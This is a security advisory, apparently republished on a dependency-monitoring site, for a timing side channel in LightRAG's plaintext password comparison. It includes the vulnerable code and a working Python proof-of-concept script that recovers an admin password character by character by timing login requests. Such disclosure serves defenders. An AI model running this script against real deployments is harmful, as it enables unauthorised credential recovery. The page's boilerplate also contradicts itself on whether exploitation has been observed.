Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-c759-cx9p-mrwq
Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
if stored_password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored_password == plain_password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual characters
PoC
# Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://<TARGET>:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard